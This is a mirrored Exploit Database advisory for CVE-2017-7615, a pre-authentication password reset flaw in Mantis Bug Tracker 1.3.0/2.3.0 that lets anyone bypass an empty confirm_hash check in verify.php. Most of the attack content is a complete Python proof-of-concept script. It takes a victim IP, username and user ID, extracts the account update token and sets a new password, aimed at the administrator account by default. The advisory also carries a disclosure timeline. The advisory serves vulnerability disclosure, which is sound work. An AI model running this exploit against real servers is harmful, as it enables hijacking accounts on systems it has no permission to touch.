Mantis Bug Tracker 1.3.0/2.3.0 – Password Reset

• Exploit Database
• 131 阅读

• 作者： hyp3rlinx
  日期： 2017-04-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41890/
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  [+] Credits: John Page a.k.a hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source:http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt [+] ISR: ApparitionSec     Vendor: ================ www.mantisbt.org       Product: ================== Mantis Bug Tracker v1.3.0 / 2.3.0   MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.     Vulnerability Type: =============================== Pre-Auth Remote Password Reset       CVE Reference: ============== CVE-2017-7615       Security Issue: ================ Mantis account verification page 'verify.php' allows resetting ANY user's password. Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.   Vulnerable code:   In verify.php line 66:   if( $f_confirm_hash != $t_token_confirm_hash ) { trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );   }   This code attempts to verify a user account and compares hashes for a user request. However, by supplying empty value we easily bypass the security check.   e.g.   http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash=   This will then allow you to change passwords and hijack ANY mantisbt accounts.   All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected.     References: ============ https://mantisbt.org/bugs/view.php?id=22690#c56509       POC Video URL: ============== https://vimeo.com/213144905       Exploit/POC: ============= import cookielib,urllib,urllib2,time   print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0' print '1.2.x versions are not affected' print 'Remote Password Reset 0day Exploit' print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'   IP=raw_input("[Mantis Victim IP]>") realname=raw_input("[Username]") verify_user_id=raw_input("[User ID]") passwd=raw_input("[New Password]")   TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='   values={} account_update_token='' #verify_user_id='1'#Admin= 1 #realname='administrator'#Must be known or guessed.     #REQUEST 1, get Mantis account_update_token cookies = cookielib.CookieJar()   opener = urllib2.build_opener( urllib2.HTTPRedirectHandler(), urllib2.HTTPHandler(debuglevel=0), urllib2.HTTPSHandler(debuglevel=0), urllib2.HTTPCookieProcessor(cookies))   res = opener.open(TARGET)   arr=res.readlines() for s in arr: if 'account_update_token' in s: break     #print s[61:-38] ACCT_TOKEN=s[61:-38]   time.sleep(0.3)   #REQUEST 2 Hijack the Admin Account TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php' values = {'verify_user_id' : '1', 'account_update_token' : ACCT_TOKEN, 'realname' : realname, 'password' : passwd, 'password_confirm' : passwd}   data = urllib.urlencode(values)   opener = urllib2.build_opener( urllib2.HTTPRedirectHandler(), urllib2.HTTPHandler(debuglevel=0), urllib2.HTTPSHandler(debuglevel=0), urllib2.HTTPCookieProcessor(cookies))   response = opener.open(TARGET, data) the_page = response.read() http_headers = response.info()   #print http_headers print response.getcode() print 'Account Hijacked!' time.sleep(2)         Network Access: =============== Remote         Severity: ========= Critical       Disclosure Timeline: ============================= Vendor Notification: April 7, 2017 Vendor acknowledged: April 7, 2017 Vendor patch created: April 10, 2017 Vendor Disclosure: April 16, 2017 April 16, 2017: Public Disclosure       [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).